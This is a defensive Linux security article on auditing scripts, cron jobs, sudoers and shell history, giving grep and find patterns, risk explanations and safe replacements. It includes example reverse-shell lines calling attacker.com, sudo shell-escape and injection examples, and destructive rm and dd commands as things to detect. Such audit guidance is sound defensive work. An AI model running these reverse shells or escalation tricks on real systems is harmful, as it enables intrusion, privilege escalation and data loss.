You inherit a pile of deployment scripts, a dozen cron jobs with no author, and a .bash_history sprawling across three years. A compliance audit is two weeks out, or worse, you are investigating why an API key showed up in a competitor's GitHub. A linux command security audit is not about finding malware; it is about spotting the everyday commands that expose credentials, enable injection, or silently escalate privilege. This article walks through a systematic review: grep patterns to surface dangerous commands in scripts, logs, systemd units and shell history, explanations of why each is a problem, and the safe alternative you should enforce in code review.
The commands below are not exotic. They appear in onboarding runbooks, vendor-supplied installers, and that "quick fix" you wrote at 3 a.m. The audit process is simple: search for patterns, understand the risk, replace them. You will also get a checklist at the end for ongoing review.
Commands That Expose Credentials
Credentials on the command line are visible to every user on the system. When you run mysql -u root -pSecretPass, the password appears in ps aux output, process trees, and /proc/PID/cmdline. It also lands in .bash_history, syslog if command logging is enabled, and any centralized log collector. Start your audit by searching for common patterns.
Finding Cleartext Passwords in Command History and Logs
Grep across shell history files, script directories, and logs for password flags and embedded credentials:
grep -r 'password=' /var/log /opt/scripts ~/.bash_history /root/.bash_history 2>/dev/null
grep -rE '(mysql|psql|curl|wget).* -p[^ ]' /opt /home 2>/dev/null
grep -rE '(--password=|PGPASSWORD=|AWS_SECRET_ACCESS_KEY=)' /etc/cron* /var/spool/cron 2>/dev/null
Check systemd service units for environment variables containing secrets:
find /etc/systemd /usr/lib/systemd -type f -exec grep -l 'Environment=.*PASS' {} \;
find /etc/systemd -type f -exec grep -l 'ExecStart=.*-p' {} \;
You will find curl -u admin:secret https://api.example.com, database backup scripts with mysqldump -p$DBPASS, and cron jobs calling APIs with tokens in the URL. Each of these leaks credentials to process lists and logs.
Spotting Credentials in Process Lists and Environment Variables
Even if you fix command-line passwords, environment variables remain visible. Run ps e -p PID or read /proc/PID/environ to see all variables passed to a process. A common mistake: setting AWS_SECRET_ACCESS_KEY in a systemd Environment= line without PermissionsStartOnly=true or restricting /proc access. Any user can read it:
cat /proc/$(pgrep -f backup-script)/environ | tr '\0' '\n' | grep SECRET
Safe alternatives: use .my.cnf with chmod 600 for MySQL credentials, ~/.pgpass for PostgreSQL, ~/.netrc for curl with chmod 600, or dedicated credential stores like pass, Vault, or cloud provider IAM roles. For systemd services, use LoadCredential= or EnvironmentFile= pointing to a file with restrictive permissions. Set ProtectProc=invisible and ProcSubset=pid in the service unit to hide process details from other users. Never put secrets directly in ExecStart= or Environment=. For a broader review of credential handling and kernel security modules, see the kernel credentials documentation.
Injection-Prone Command Patterns
Shell injection happens when unquoted or unsanitized variables are passed to commands that interpret special characters. The classic example is rm -rf /$dir where $dir is empty or starts with a space, deleting the root filesystem. Less obvious cases include variables in ssh, sh -c, or any command built from user input.
Finding Unquoted Variables and eval Usage
Search for unquoted variables in destructive commands and eval usage, which executes arbitrary code:
grep -rn 'eval' /opt/scripts /usr/local/bin
grep -rE '\$[A-Za-z_][A-Za-z0-9_]*' /opt/scripts | grep -E '(rm|mv|cp|chown|chmod) .* \$'
grep -rE '\$\(' /opt/scripts | grep -v '"\$'
You are looking for lines like rm -rf $tempdir/* (if $tempdir is unset, this becomes rm -rf /*), cp $source $dest where either variable could contain spaces or glob characters, and eval $command where $command comes from external input. A realistic example from a deployment script:
#!/bin/bash
version=$1
tar xzf release-$version.tar.gz
If $version is ../../etc/passwd, the tar command extracts the wrong file. If it contains a semicolon or backtick, worse. Always quote: "$version". Use set -u at the top of every script to error on unset variables. Run ShellCheck on all shell scripts; it catches unquoted variables, missing quotes in $(), and most injection patterns.
Spotting Dangerous Interpolation in Scripts
Injection also occurs when building commands for ssh or sh -c. Example from a monitoring script:
ssh $host "df -h | grep $mount"
If $mount is /data; cat /etc/shadow, the remote shell executes both commands. Safe version: pass variables as arguments or use printf %q to escape them:
ssh "$host" "df -h | grep \"\$(printf %q "$mount")\""
Better: avoid building shell commands from variables entirely. Use tools that accept arguments directly, or sanitize input with a whitelist. For more on safe scripting patterns, see Shell Scripting Part 1 cheat sheet.
File Permission and Ownership Risks
Recursive permission changes are fast ways to break SSH, databases, or entire systems. A common typo: chown -R user:group / instead of /path, changing ownership of the root filesystem. Even without typos, chmod -R 777 on application directories exposes configuration files, session data, and writable paths to all users.
Recursive Chown and Chmod Patterns That Break Systems
Search for dangerous recursive operations in scripts and shell history:
grep -rE 'chmod -R (777|a\+w)' /opt /usr/local/bin ~/.bash_history
grep -rE 'chown -R .* /' /opt /usr/local/bin
A real incident: a developer ran chmod -R 755 ~ to fix a permissions issue, making ~/.ssh/id_rsa world-readable. SSH refused to use it. Another: chown -R www-data:www-data /var in a container startup script, breaking log rotation and cron. Always specify the full path and test with echo or --dry-run where available. For critical changes, use find with -exec to target specific file types:
find /opt/app -type f -name '*.conf' -exec chmod 640 {} \;
find /opt/app -type d -exec chmod 750 {} \;
World-Writable Files and Directories
Audit your system for world-writable files outside /tmp and /var/tmp, which can be exploited for privilege escalation or data tampering:
find /opt /home /usr/local -type f -perm -002 2>/dev/null
find / -path /proc -prune -o -path /sys -prune -o -type d -perm -0002 -ls 2>/dev/null
You should find only sticky-bit directories like /tmp. Anything else is suspect: writable config files, log directories where users can inject entries, or application upload paths without proper isolation. Fix by setting chmod 755 on directories and 644 or 640 on files, using ACLs if specific users need write access. Never use chmod 777 as a "fix" for permission errors; it trades security for convenience. For a broader server hardening context, see Linux Security Hardening 2026.
Dangerous File Operations Without Backups
Destructive commands without confirmation or safety checks are a leading cause of outages. rm -rf / is the famous example, but real incidents usually involve variables: rm -rf /$dir where $dir is empty, or dd if=/dev/zero of=/dev/sda targeting the wrong disk. A script that worked in dev wipes production because a mountpoint check was missing. Start by finding these patterns in automation.
Finding Destructive Commands in Automation
Search scripts and cron jobs for recursive deletes, disk writes, and filesystem operations:
grep -rn 'rm -rf.*/' /opt/scripts /etc/cron* /var/spool/cron /usr/local/bin
grep -rn 'dd.*of=/dev' /opt /usr/local/bin
grep -rn 'mkfs\|fdisk\|parted' /opt /usr/local/bin
You will find cleanup scripts with rm -rf /var/lib/docker/*, backup scripts using dd if=/dev/sda of=/backup/disk.img, and deployment scripts that reformat partitions. Each is a risk if the target path is wrong. A realistic example from a container cleanup script:
#!/bin/bash
docker_root=/var/lib/docker
rm -rf $docker_root/*
If $docker_root is unset or mistyped, this deletes /*. If /var/lib/docker is a separate mountpoint and the mount failed, you delete the underlying directory on the root filesystem, then the mount hides it. Add set -u to error on unset variables, and check mountpoints before deleting:
findmnt "$docker_root" >/dev/null || { echo "Error: $docker_root not mounted"; exit 1; }
For dd, the classic mistake is swapping if= and of=. Always test with of=/dev/null first, or use status=progress to verify the operation before it completes. Better: use tools like rsync or tar that do not silently overwrite entire devices.
Spotting Missing Safety Checks Before Deletion
Look for scripts that delete without checking if the path exists, is a mountpoint, or contains expected files. A common pattern:
rm -rf /mnt/backup/*
If /mnt/backup failed to mount, you delete whatever is in the underlying directory on the root filesystem. Add checks:
if ! mountpoint -q /mnt/backup; then
echo "Error: /mnt/backup not mounted"
exit 1
fi
if [ ! -f /mnt/backup/.backup_marker ]; then
echo "Error: backup marker missing, refusing to delete"
exit 1
fi
rm -rf /mnt/backup/*
Place a .backup_marker file in the correct directory during initial setup. The script refuses to delete unless the marker is present. For interactive use, replace rm with trash-cli, which moves files to a trash directory instead of unlinking them immediately. Install with apt install trash-cli or dnf install trash-cli, then alias rm to trash-put in .bashrc. You can restore files with trash-restore. For critical systems, require explicit confirmation: wrap destructive commands in a function that prompts for the hostname or a random token.
Network Commands That Leak Data or Allow Pivots
Cleartext protocols and insecure downloads are attack vectors and compliance failures. curl http:// leaks credentials and payloads over the wire. wget --no-check-certificate defeats TLS, allowing man-in-the-middle attacks. telnet, rsh, and ftp send passwords in the clear. Worse, curl | bash without signature verification is a supply-chain attack waiting to happen. These patterns appear in installers, update scripts, and monitoring checks.
Cleartext Protocols and Insecure Downloads
Search for HTTP URLs, disabled certificate checks, and legacy protocols:
grep -rn 'curl.*http://' /opt/scripts /etc/cron* /usr/local/bin
grep -rn 'wget.*--no-check-certificate' /opt /usr/local/bin
grep -rE 'telnet|rsh|ftp[^s]' /opt /usr/local/bin ~/.bash_history
You will find scripts downloading packages over HTTP, API calls to internal services without TLS, and legacy monitoring using telnet to check ports. Each leaks data or credentials. A common example from a software installer:
curl -sS http://repo.example.com/install.sh | bash
An attacker controlling DNS or the network can inject arbitrary code. Safe version: download over HTTPS, verify a signature, then execute:
curl -sS https://repo.example.com/install.sh -o install.sh
curl -sS https://repo.example.com/install.sh.sig -o install.sh.sig
gpg --verify install.sh.sig install.sh || { echo "Signature verification failed"; exit 1; }
bash install.sh
For internal APIs, use HTTPS even on private networks; lateral movement after compromise is common. If you must use HTTP, bind services to 127.0.0.1 and access them through SSH tunnels. Replace telnet with nc -zv for port checks, or ssh for interactive access. Replace ftp with sftp or rsync over SSH. For more on secure curl usage, see Mastering CURL.
The -k or --insecure flag in curl and wget disables certificate validation, making TLS pointless. It appears in scripts that hit self-signed internal APIs. If you control the server, add the CA certificate to the system trust store or pass it with --cacert. If you do not, you are trusting an unverified endpoint. Pin certificates for critical services:
curl --pinnedpubkey 'sha256//AbCdEf...' https://api.example.com/data
Unrestricted Outbound Connections in Scripts
Scripts with nc -e, reverse shells, or dynamic DNS updates can be abused for data exfiltration or command-and-control. Search for netcat with -e, bash redirections to /dev/tcp, and outbound connections to unusual ports:
grep -rn 'nc -e\|ncat -e' /opt /usr/local/bin
grep -rn '/dev/tcp/' /opt /usr/local/bin
grep -rn 'bash -i.*>&' /opt /usr/local/bin
A reverse shell in a compromised script looks like bash -i >& /dev/tcp/attacker.com/4444 0>&1 or nc -e /bin/bash attacker.com 4444. These should never appear in legitimate automation. If you find them, assume compromise and investigate. Legitimate outbound connections should be to known endpoints on standard ports. Use egress firewall rules to restrict outbound traffic to necessary services. For monitoring and incident response, enable auditd to log network connections; see auditd(8) for configuration.
Privilege Escalation Patterns in Sudo and Setuid
Sudo misconfigurations are the easiest privilege escalation path. A rule allowing NOPASSWD: ALL gives any user root access. Commands like vim, less, find, and awk allow shell escapes: run sudo vim, type :!/bin/bash, and you have a root shell. Even seemingly safe commands like sudo chmod or sudo chown without path restrictions let a user change permissions on /etc/shadow or /etc/sudoers itself. Audit your sudo configuration and setuid binaries to close these gaps.
Dangerous Sudo Rules in Configuration
Start by validating syntax and searching for overly permissive rules:
visudo -c
grep -r NOPASSWD /etc/sudoers.d/
grep -rE '(vim|less|more|man|find|awk|perl|python|ruby|node|tar|zip|git)' /etc/sudoers /etc/sudoers.d/
You are looking for lines like developer ALL=(ALL) NOPASSWD: ALL, which grants password-free root access, or user ALL=(ALL) /usr/bin/vim, which allows shell escapes. A realistic example from a developer workstation:
developer ALL=(ALL) NOPASSWD: /bin/systemctl restart *
This looks safe but allows sudo systemctl restart ../../bin/bash or similar path traversal. Always use full paths and avoid wildcards. Safe version:
developer ALL=(ALL) NOPASSWD: /bin/systemctl restart myapp.service
Commands that spawn editors or pagers can escape to a shell. From sudo less /var/log/syslog, type !/bin/bash to get root. From sudo find / -exec /bin/bash \;, you bypass the intended command entirely. Check what a user can run with sudo -l. If you need to allow editing, use sudoedit instead of sudo vim; it copies the file to a temporary location, lets the user edit with their own editor, then writes it back with elevated privileges. No shell escape possible. For detailed sudo configuration, see the sudoers manual.
Finding Setuid Binaries and World-Writable Paths
Setuid binaries run with the owner's privileges regardless of who executes them. A setuid-root binary with a vulnerability or poor input validation is an instant root shell. Find all setuid and setgid binaries on your system:
find / -perm -4000 -ls 2>/dev/null
find / -perm -2000 -ls 2>/dev/null
You should see standard utilities like /usr/bin/passwd, /usr/bin/sudo, /usr/bin/su, and /bin/ping. Anything else requires scrutiny. A custom application with setuid root is a risk. If you find /opt/myapp/bin/helper with mode -rwsr-xr-x, audit its code for command injection, buffer overflows, or unsafe file operations. Remove the setuid bit if possible and use sudo with a restricted command instead.
World-writable directories in $PATH or writable setuid binaries allow an attacker to replace the binary or inject libraries. Check for writable paths:
find / -perm -4000 -writable 2>/dev/null
echo $PATH | tr ':' '\n' | while read dir; do [ -d "$dir" ] && ls -ld "$dir"; done | grep drwxrwxrwx
If /usr/local/bin is world-writable and in $PATH, a user can place a malicious ls there that gets executed by root. Fix permissions immediately: chmod 755 /usr/local/bin. For ongoing monitoring, see Linux Security Scanner for automated SUID audits.
Command Audit Checklist for Code Review
A systematic audit catches patterns before they reach production. The checklist below combines grep searches, static analysis, and manual review. Run it on new servers, before major deployments, and quarterly on existing infrastructure. Each step takes minutes but prevents hours of incident response.
Automated Scans Across Scripts and Configuration
Start by scanning common script directories, cron jobs, and shell history for dangerous patterns:
grep -rE 'password=|PASS=|SECRET=' /opt /usr/local/bin /etc/cron* /var/spool/cron ~/.bash_history /root/.bash_history 2>/dev/null
grep -rn 'eval\|curl.*http://\|wget.*--no-check' /opt /usr/local/bin /etc/cron*
grep -rE 'chmod -R (777|a\+w)|chown -R .* /' /opt /usr/local/bin ~/.bash_history
grep -rn 'rm -rf.*\$\|dd.*of=/dev' /opt /usr/local/bin /etc/cron*
Check sudoers and systemd units:
visudo -c
grep -r NOPASSWD /etc/sudoers.d/
find /etc/systemd /usr/lib/systemd -type f -exec grep -l 'Environment=.*PASS\|ExecStart=.*-p' {} \;
Find setuid binaries and world-writable files outside /tmp:
find / -path /proc -prune -o -path /sys -prune -o -perm -4000 -ls 2>/dev/null
find /opt /home /usr/local -type f -perm -002 2>/dev/null
Static Analysis with ShellCheck
Run ShellCheck on every shell script to catch unquoted variables, injection risks, and logic errors:
find /opt /usr/local/bin /etc/cron.daily /etc/cron.weekly -type f -name '*.sh' -exec shellcheck {} \;
find /opt -type f ! -name '*.sh' -exec file {} \; | grep 'shell script' | cut -d: -f1 | xargs shellcheck
ShellCheck flags rm -rf $dir/* without quotes, eval usage, and missing set -e or set -u. It also catches common typos like [$var -eq 1] (missing space) and suggests safer alternatives. Integrate it into your editor and CI pipeline. For details, see ShellCheck documentation.
Secret Detection and Pre-Commit Hooks
Prevent secrets from entering version control with git hooks and scanning tools. Install git-secrets or trufflehog to scan commit history:
git clone https://github.com/awslabs/git-secrets.git
cd git-secrets && make install
git secrets --install ~/.git-templates/git-secrets
git config --global init.templateDir ~/.git-templates/git-secrets
git secrets --register-aws --global
This hooks into every new repository and blocks commits containing AWS keys. Scan existing history:
git secrets --scan-history
For broader secret detection, use trufflehog, which finds high-entropy strings and known patterns:
docker run --rm -v /path/to/repo:/repo trufflesecurity/trufflehog filesystem /repo
Add a pre-commit hook to your repositories that runs ShellCheck and blocks secrets. Example .git/hooks/pre-commit:
#!/bin/bash
set -e
git diff --cached --name-only --diff-filter=ACM | grep '\.sh$' | xargs shellcheck
git secrets --pre_commit_hook -- "$@"
Make it executable: chmod +x .git/hooks/pre-commit. For a full command-line security workflow, see Linux Command Line Mastery.
Building a Command Security Review Process
One-time audits find current issues; a review process prevents new ones. Integrate the checks above into your onboarding, code review, and deployment pipeline. Start with a baseline scan: run all grep patterns and ShellCheck across your infrastructure, document findings, and fix critical issues (exposed credentials, NOPASSWD sudo rules, setuid binaries). Schedule quarterly rescans and compare results. Add ShellCheck to your CI pipeline so it blocks merges with dangerous patterns. For new hires, include the checklist in onboarding: they audit one legacy script, fix issues, and document what they learned. This trains them on your security standards and improves the codebase.
In code review, require explicit justification for eval, unquoted variables in destructive commands, or sudo rules. If a script needs elevated privileges, prefer capabilities or a dedicated service account over setuid. Use sudoedit instead of sudo vim. For deployment automation, test destructive commands in a VM or container before production. Add a --dry-run flag that echoes commands instead of executing them. Enforce the principle of least privilege: scripts should run with the minimum necessary permissions, sudo rules should allow only specific commands with full paths, and credentials should come from vaults or IAM roles, never from command lines or environment variables.
For a comprehensive server security baseline, see Linux Security Audit Checklist, which covers kernel hardening, SSH configuration, and firewall rules alongside command security. Combine command audits with system-level hardening for defense in depth.
Frequently Asked Questions
How do I find all scripts with dangerous commands on my servers?
Use grep to search script directories and cron jobs for patterns: grep -rE 'rm -rf.*\$|eval|curl.*http://|password=' /opt /usr/local/bin /etc/cron*. Find shell scripts with find / -type f -name '*.sh' or file to detect scripts without a .sh extension, then run ShellCheck on each. Check systemd units with grep -r ExecStart /etc/systemd. For comprehensive scans, combine grep with tools like git-secrets and trufflehog to catch secrets in version control history.
What commands should never appear in production automation?
Never use eval, curl | bash, rm -rf with unquoted variables, chmod -R 777, passwords on command lines, or HTTP downloads without verification. Avoid NOPASSWD: ALL in sudoers, setuid on custom binaries, and shell commands built from unsanitized user input. Legacy protocols like telnet, rsh, and ftp should be replaced with SSH equivalents. Any command that modifies /etc, deletes data, or changes permissions should require explicit confirmation or a dry-run mode.
How can I prevent developers from committing secrets in shell scripts?
Install git-secrets or a pre-commit hook that blocks patterns like password=, high-entropy strings, and known credential formats. Use git secrets --install to add hooks to all new repositories, and run git secrets --scan-history on existing ones. Integrate secret scanning into CI pipelines with trufflehog or vendor tools like GitHub secret scanning. Educate developers on using credential stores, environment files with restrictive permissions, and IAM roles instead of hardcoded secrets. Make ShellCheck mandatory in code review.
Should I disable bash history for security reasons?
No. Disabling history removes forensic evidence and makes troubleshooting harder. Instead, exclude sensitive commands with HISTIGNORE or prefix them with a space if HISTCONTROL=ignorespace is set. Restrict history file permissions to 600 and enable centralized logging with auditd to capture commands even if local history is cleared. Rotate and archive history files regularly. Train users to avoid putting credentials on command lines; the problem is the practice, not the log. For incident response, history is invaluable.
How do I audit sudo rules for privilege escalation risks?
Run visudo -c to check syntax, then grep -r NOPASSWD /etc/sudoers.d/ to find password-free rules. Search for commands that allow shell escapes: grep -rE 'vim|less|find|awk' /etc/sudoers*. Use sudo -l as each user to see what they can run. Remove wildcards and ensure full paths are specified. Replace editor access with sudoedit. Test rules by attempting escalation: if sudo find is allowed, try sudo find / -exec /bin/bash \;. Restrict commands to specific arguments where possible.